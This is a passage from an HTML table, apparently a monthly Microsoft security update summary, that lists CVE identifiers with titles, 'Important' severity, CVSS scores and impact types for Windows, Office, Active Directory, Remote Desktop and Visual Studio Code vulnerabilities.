  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
